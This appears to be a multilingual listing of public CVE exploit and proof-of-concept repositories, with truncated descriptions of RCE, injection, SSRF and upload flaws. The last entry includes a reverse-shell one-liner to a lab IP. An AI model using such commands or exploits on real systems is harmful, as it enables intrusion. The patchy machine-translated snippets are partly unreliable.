-CVE-2025-59528-PoC

CVE-2025-59528-PoC केवल शैक्षणिक उद्देश्यों के लिए CVE-2025-59528 का शोषण करने के लिए एक सरल पायथन स्क्रिप्ट, यह Flowise एप्लिकेशन में एक प्रमाणित RCE भेद्यता है, जो एक लोकप्रिय AI उपकरण है, और यह HTB मौसमी चुनौती का भी हिस्सा है, जिस पर मैंने वैसे इसका परीक्षण किया। यदि यह काम नहीं कर रहा है, तो...

CVE-2025-49113-Roundcube-RCE-PHP

CVE-2025-49113-Roundcube-RCE-PHP Roundcube Webmail संस्करण 1.5.0 से 1.6.10 तक यह PHP के साथ काम करने के लिए एक पुनर्लिखित एक्सप्लॉइट है। उपयोग root@kitploit: php CVE-2025-49113.php...

CVE-2022-2992

CVE-2022-2992 GitHub import के माध्यम से GitLab में प्रमाणित रिमोट कमांड निष्पादन। GitLab CE/EE में एक भेद्यता जो 11.10 से आरंभ होकर 15.1.6 से पहले तक के सभी संस्करणों, 15.2 से आरंभ होकर 15.2.4 से पहले तक के सभी संस्करणों, 15.3 से आरंभ होकर 15.3.2 से पहले तक के सभी संस्करणों को प्रभावित करती है। ...

CVE-2025-2304_POC

CVE-2025-2304POC CVE-2025-2304 POC - Camaleon CMS विशेषाधिकार वृद्धि यह POC Camaleon CMS के विशेषाधिकारों को प्रशासक स्तर तक बढ़ाने के लिए उपयोग किया जाता है। यह शोषण एक प्रमाणित उपयोगकर्ता के पासवर्ड रीसेट फ़ंक्शन में भूमिका इंजेक्ट करके काम करता है। पूर्वापेक्षाएँ और मान्यताएँ आपके पास लक्ष्य...

CVE-2022-37206

CVE-2022-37206 CVE-2022-37206 POC अतिरिक्त जानकारी https://github.com/AgainstTheLight/someEXPofjfinalcms/blob/main/jfinalcms/sql2.md भेद्यता प्रकार SQL इंजेक्शन उत्पाद का विक्रेता डेवलपमेंट ग्रुप प्रभावित उत्पाद कोड बेस https://github.com/jflyfox/jfinalcms - JFinal CMS 5.1.0 प्रभावित घटक ये...

CVE-2025-8110

CVE-2025-8110 — Gogs = 0.13.3 सिमलिंक ट्रैवर्सल के माध्यम से मनमानी फ़ाइल लेखन अवलोकन Gogs = 0.13.3 PutContents API /api/v1/repos/:owner/:repo/contents/:path के माध्यम से मनमानी फ़ाइल लेखन के लिए असुरक्षित है। API निर्देशिका-ट्रैवर्सल अनुक्रमों ../ के लिए फ़ाइल पथों को मान्य करता है, लेकिन लिखने ...

CVE-2025-68613

CVE-2025-68613 — n8n कामप्रवाह स्वचालन अभिव्यक्ति इंजिन पृथक्करण विफलता लेखक इस शोध के दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान किया गया है विवरण इस रिपॉजिटरी में एक प्रयोगशाला-स्तरीय विश्लेषण और भेद्यता CVE-2025-68613 के लिए एक...

CVE-2012-2982

CVE-2012-2982 Descrição file/show.cgi no Webmin 1.590 e anteriores permite que usuários autenticados remotos executem comandos arbitrários através de um caractere inválido em um nome de caminho, como demonstrado por um caractere | pipe. Instalação 1. git clone...

CVE-2025-25706

CVE-2025-25706 Elemento Descrizione: root@kitploit: Product Vendor: freebsdbrasil Item: ProApps - Enterprise Appliance Editor Creator: DreamWeaver PHP: PHP Version 7.3.18 Java Script Library: Jquery UI 1.6 | Jquery 1.2.6 Server: NGINX Operational System: FreeBDS Unix Tipo di Vulnerabilità:...

CVE-2025-25705

CVE-2025-25705 عنصر الوصف: root@kitploit: Product Vendor: freebsdbrasil Item: ProApps - Enterprise Appliance Editor Creator: DreamWeaver PHP: PHP Version 7.3.18 Java Script Library: Jquery UI 1.6 | Jquery 1.2.6 Server: NGINX Operational System: FreeBDS Unix نوع الثغرة: تنفيذ الأكواد عن بُعد وصف...

CVE-2019-11447_CuteNews-AvatarUploadRCE

CVE-2019-11447 Exploit/PoC - CuteNews 2.1.2 Avatar upload RCE Autenticato Codice exploit per CVE-2019-11447 noto anche come CuteNews 2.1.2 Avatar upload RCE Autenticato Link dell'exploit: Risultato atteso: accedere/registrare un account, creare un file PHP scelto dall'utente con magic bytes .gif,...

CVE-2023-49471

CVE-2023-49471 Tipo di vulnerabilità Blind SSRF Prodotto e versione interessati Bar assistant / -----------------------------8290129562507108753887567115 Content-Disposition: form-data; name="images0copyright"...

CVE-2024-50803-Redaxo

CVE-2024-50803 XSS persistente nella funzionalità mediapool di Redaxo È stata trovata una vulnerabilità di cross-site scripting persistente XSS nelle versioni di Redaxo 5.18.0, che consente ad attaccanti con privilegi sufficienti di caricare un file SVG dannoso tramite la funzionalità mediapool...

CVE-2024-0399

CVE-2024-0399 - WooCommerce Customers Manager 29.4 - SQL-Injection nach Authentifizierung Exploit-Titel: WooCommerce Customers Manager 29.4 - SQL-Injection nach Authentifizierung Datum: 2024-03-25 Autor des Exploits: Ivan Spiridonov - xbz0n Software-Link:...

CVE-2026-80214 LibreNMS Virtualisation Discovery Module RCE

LibreNMS 's Virtualization Discovery module is susceptible to command line injection , allowing an authenticated admin user to execute arbitrary code on the host server. The CVSS 4.0 base score is 8.6 (HIGH) , reflecting network reachability with low attack complexity but requiring high privilege...

CVE-2024-46377

CVE-2024-46377 PoC für Schwachstelle beim beliebigen Datei-Upload in Best House Rental Management System 1.0 Übersicht Dieses Python-Skript demonstriert, wie die Schwachstelle beim beliebigen Datei-Upload in Best House Rental Management System 1.0 ausgenutzt werden kann. Die Schwachstelle...

exploit-CVE-2016-8016-25

McAfee Virus Scan per Linux: molteplici vulnerabilità remote QUESTO EXPLOIT E TUTTO IL CODICE IN QUESTO REPO SONO STATI RIMOSSI PER EVITARE QUALSIASI PROBLEMA RELATIVO ALLA VIOLAZIONE DI QUALSIASI LICENZA MCAFEE McAfee VirusScan Enterprise for Linux è una soluzione antivirus aziendale di McAfee. ...

CVE-2024-1655

CVE-2024-1655 Descrizione I firmware ASUS ExpertWiFi EBM63, EBM68 e RT-A57 Go precedenti alla patch del 12-04-2024 contengono una vulnerabilità di command injection nella funzione splashpageSDN.cgi. Quando un attaccante invia una richiesta appositamente predisposta, può ottenere l'esecuzione di...

CVE-2020-27976

CVE-2020-27976 Exploit osCommerce Phoenix CE . Questo ha prodotto i migliori risultati durante i test. Le nuove righe nel payload vengono sostituite con spazi prima del caricamento. ================== Fonti: https://www.tenable.com/cve/CVE-2020-27976...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE autenticato Utilizzo python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Esempio...